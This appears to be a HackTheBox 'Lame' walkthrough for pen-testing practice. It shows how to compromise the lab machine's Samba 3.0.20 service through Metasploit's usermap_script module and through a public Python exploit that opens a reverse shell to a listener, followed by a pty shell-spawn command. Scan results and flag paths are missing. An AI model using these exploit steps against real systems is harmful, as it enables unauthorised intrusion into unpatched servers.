HTB LAME WALKTHROUGH

HackTheBox is an excellent platform for various pen-testers to increase their testing skills and increasing knowledge.

Machine Level -Easy
Machine Name -Lame
Machine OS -Linux
Machine IP -10.10.10.3

Tools:
Nmap -Nmap is a fantastic tool for scanning open ports, services, and OS detection. You can use other tools other than Nmap (whichever you are more comfortable with ) like Masscan, SPARTA, etc to scan for open ports.
Metasploit -One of the most common and widely used tools by pen-testers to launch exploits, it is maintained by Rapid 7. Many books are available to understand the features of this tool.
We will be performing the attack by two methodologies (using and without using Metasploit).

Methodology 1 (using Metasploit)
Scanning the machine is the first step(i.e. Enumeration). We use the following Nmap command,
nmap -sSVC 10.10.10.3

(we can run the command with sudo privileges if an error occurs regarding privileges.)
The command scans for only open ports or services, this method of scanning narrows down the search list and takes comparatively less time to scan as compared to scanning for all ports.

We get the following result.

So let's analyze our scan. Now if you are doing a real-time pen test then you must see through each port. But for now, we look for the juiciest vulnerability, and it's smb.
As soon as you see an smb , fire up your Metasploit (type msfconsole in terminal), and search for smb version through the command search smb_version

You will see one matching module, type use 0 to use the module,
Now set your target IP using the command set rhosts 10.10.10.3 and then run the module by typing run or exploit command.
After successful execution, you will see some information disclosure.
So it says it's a Unix Samba 3.0.20-Debian. Search for its exploit on Google and, you will find a Rapid 7 module.
Link here:
https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script

Scroll down and you will see the module, copy it and run it.

As usual set your target IP using the command set rhosts 10.10.10.3 and run the exploit.

Wait for your exploit to trigger.

Exploit worked and you got a shell. You are in the system now. Move around the files to find flags and other files.
Here's an example,
For root flags,

For user flag,

So that's it for this machine. We were able to get both the root flag and the user flag.

***************************************************************************************************************************

Now we can do this task without using Metasploit.

Methodology 2(without using Metasploit)

The first step is always the same. Use Nmap to scan the host.

In the Nmap results we can see port 139 is open, this is related to Samba smbd 3.X - 4.X.
We can search for a Python script to run against this version on GitHub.
Link here:
https://github.com/amriunix/CVE-2007-2447

We run the script using command python username_script.py <RHOST> <RPORT> <LHOST> <LPORT> ,

Here,

• RHOST - The target IP
• RPORT - The target port (TCP 139)
• LHOST - The listening host
• LPORT - The listening port

Open a listening port on your end to listen, before running the script against the machine.
Use Netcat tool command to open a listening port :

After you run the python script you will get connected to the machine.
To use it much more easily and neatly we use the command 
python -c 'import pty; pty.spawn("/bin/sh")'
NOTE: "sh is a unique sub-process wrapper. It gives you flexibility and features of bash."

Now you can move around in the system to search for root and user flags.
Here's the path for the user flag :

And here's  the root flag :

We were successful in gaining access to the user and root flag through both methods.

Thank you!